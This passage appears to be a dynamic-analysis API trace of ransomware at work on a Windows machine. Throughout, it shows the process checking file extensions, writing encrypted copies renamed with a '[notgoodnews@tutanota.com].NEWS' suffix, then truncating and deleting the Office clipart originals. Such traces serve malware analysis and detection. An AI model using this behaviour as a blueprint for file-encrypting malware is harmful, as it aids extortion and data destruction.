files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0271.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.363] lstrlenW (lpString=".doc") returned 4 [0271.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.363] lstrlenW (lpString=".docx") returned 5 [0271.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.363] lstrlenW (lpString=".pdf") returned 4 [0271.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.363] lstrlenW (lpString=".xls") returned 4 [0271.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.363] lstrlenW (lpString=".xlsx") returned 5 [0271.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.363] lstrlenW (lpString=".ppt") returned 4 [0271.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.364] lstrlenW (lpString=".zip") returned 4 [0271.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.364] lstrlenW (lpString=".rar") returned 4 [0271.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.364] lstrlenW (lpString=".bz2") returned 4 [0271.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.364] lstrlenW (lpString=".7z") returned 3 [0271.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.364] lstrlenW (lpString=".dbf") returned 4 [0271.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.365] lstrlenW (lpString=".1cd") returned 4 [0271.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.365] lstrlenW (lpString=".jpg") returned 4 [0271.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.365] lstrlenW (lpString=".doc") returned 4 [0271.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.366] lstrlenW (lpString=".docx") returned 5 [0271.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.366] lstrlenW (lpString=".pdf") returned 4 [0271.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.366] lstrlenW (lpString=".xls") returned 4 [0271.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.366] lstrlenW (lpString=".xlsx") returned 5 [0271.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.366] lstrlenW (lpString=".ppt") returned 4 [0271.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.367] lstrlenW (lpString=".zip") returned 4 [0271.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.367] lstrlenW (lpString=".rar") returned 4 [0271.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.367] lstrlenW (lpString=".bz2") returned 4 [0271.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.367] lstrlenW (lpString=".7z") returned 3 [0271.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.367] lstrlenW (lpString=".dbf") returned 4 [0271.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.368] lstrlenW (lpString=".1cd") returned 4 [0271.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0271.368] lstrlenW (lpString=".jpg") returned 4 [0271.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.368] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.369] lstrlenW (lpString="BS00224_.WMF") returned 12 [0271.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0271.369] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1588) returned 1 [0271.370] CloseHandle (hObject=0x39c) returned 1 [0271.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0271.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0271.372] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.372] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0271.373] GetLastError () returned 0x0 [0271.373] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x634, lpOverlapped=0x0) returned 1 [0271.501] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x640, lpOverlapped=0x0) returned 1 [0271.678] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0271.678] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.678] SetEndOfFile (hFile=0x1cc) returned 1 [0272.109] CloseHandle (hObject=0x1cc) returned 1 [0272.110] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.110] SetEndOfFile (hFile=0x39c) returned 1 [0272.118] CloseHandle (hObject=0x39c) returned 1 [0272.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0272.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.255] lstrlenW (lpString=".doc") returned 4 [0272.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.256] lstrlenW (lpString=".docx") returned 5 [0272.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.256] lstrlenW (lpString=".pdf") returned 4 [0272.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.256] lstrlenW (lpString=".xls") returned 4 [0272.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.256] lstrlenW (lpString=".xlsx") returned 5 [0272.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.256] lstrlenW (lpString=".ppt") returned 4 [0272.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.257] lstrlenW (lpString=".zip") returned 4 [0272.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.257] lstrlenW (lpString=".rar") returned 4 [0272.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.257] lstrlenW (lpString=".bz2") returned 4 [0272.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.257] lstrlenW (lpString=".7z") returned 3 [0272.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.257] lstrlenW (lpString=".dbf") returned 4 [0272.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.258] lstrlenW (lpString=".1cd") returned 4 [0272.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.258] lstrlenW (lpString=".jpg") returned 4 [0272.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.258] lstrlenW (lpString=".doc") returned 4 [0272.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.259] lstrlenW (lpString=".docx") returned 5 [0272.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.259] lstrlenW (lpString=".pdf") returned 4 [0272.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.259] lstrlenW (lpString=".xls") returned 4 [0272.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.259] lstrlenW (lpString=".xlsx") returned 5 [0272.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.259] lstrlenW (lpString=".ppt") returned 4 [0272.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.260] lstrlenW (lpString=".zip") returned 4 [0272.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.260] lstrlenW (lpString=".rar") returned 4 [0272.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.260] lstrlenW (lpString=".bz2") returned 4 [0272.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.260] lstrlenW (lpString=".7z") returned 3 [0272.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.260] lstrlenW (lpString=".dbf") returned 4 [0272.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.261] lstrlenW (lpString=".1cd") returned 4 [0272.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0272.261] lstrlenW (lpString=".jpg") returned 4 [0272.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.262] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.262] lstrlenW (lpString="BS00442_.WMF") returned 12 [0272.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.263] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2488) returned 1 [0272.263] CloseHandle (hObject=0x3bc) returned 1 [0272.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0272.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.265] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.265] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0272.266] GetLastError () returned 0x0 [0272.266] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x9b8, lpOverlapped=0x0) returned 1 [0272.324] WriteFile (in: hFile=0x3d4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0272.329] ReadFile (in: hFile=0x3bc, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.330] WriteFile (in: hFile=0x3d4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.330] SetEndOfFile (hFile=0x3d4) returned 1 [0272.330] CloseHandle (hObject=0x3d4) returned 1 [0272.331] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.331] SetEndOfFile (hFile=0x3bc) returned 1 [0272.340] CloseHandle (hObject=0x3bc) returned 1 [0272.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0272.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.342] lstrlenW (lpString=".doc") returned 4 [0272.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.342] lstrlenW (lpString=".docx") returned 5 [0272.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.343] lstrlenW (lpString=".pdf") returned 4 [0272.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.343] lstrlenW (lpString=".xls") returned 4 [0272.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.343] lstrlenW (lpString=".xlsx") returned 5 [0272.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.343] lstrlenW (lpString=".ppt") returned 4 [0272.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.343] lstrlenW (lpString=".zip") returned 4 [0272.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.343] lstrlenW (lpString=".rar") returned 4 [0272.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.344] lstrlenW (lpString=".bz2") returned 4 [0272.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.344] lstrlenW (lpString=".7z") returned 3 [0272.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.344] lstrlenW (lpString=".dbf") returned 4 [0272.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.344] lstrlenW (lpString=".1cd") returned 4 [0272.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.344] lstrlenW (lpString=".jpg") returned 4 [0272.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.345] lstrlenW (lpString=".doc") returned 4 [0272.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.345] lstrlenW (lpString=".docx") returned 5 [0272.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.345] lstrlenW (lpString=".pdf") returned 4 [0272.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.345] lstrlenW (lpString=".xls") returned 4 [0272.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.346] lstrlenW (lpString=".xlsx") returned 5 [0272.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.346] lstrlenW (lpString=".ppt") returned 4 [0272.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.346] lstrlenW (lpString=".zip") returned 4 [0272.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.346] lstrlenW (lpString=".rar") returned 4 [0272.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.346] lstrlenW (lpString=".bz2") returned 4 [0272.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.346] lstrlenW (lpString=".7z") returned 3 [0272.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.347] lstrlenW (lpString=".dbf") returned 4 [0272.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.347] lstrlenW (lpString=".1cd") returned 4 [0272.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0272.347] lstrlenW (lpString=".jpg") returned 4 [0272.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.348] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.348] lstrlenW (lpString="BS00445_.WMF") returned 12 [0272.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.364] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3796) returned 1 [0272.365] CloseHandle (hObject=0x3c8) returned 1 [0272.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0272.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.370] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.370] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0272.372] GetLastError () returned 0x0 [0272.372] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xed4, lpOverlapped=0x0) returned 1 [0272.377] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xee0, lpOverlapped=0x0) returned 1 [0272.380] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.380] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.381] SetEndOfFile (hFile=0x1cc) returned 1 [0272.381] CloseHandle (hObject=0x1cc) returned 1 [0272.381] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.381] SetEndOfFile (hFile=0x3c8) returned 1 [0272.391] CloseHandle (hObject=0x3c8) returned 1 [0272.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0272.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.394] lstrlenW (lpString=".doc") returned 4 [0272.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.394] lstrlenW (lpString=".docx") returned 5 [0272.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.394] lstrlenW (lpString=".pdf") returned 4 [0272.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.395] lstrlenW 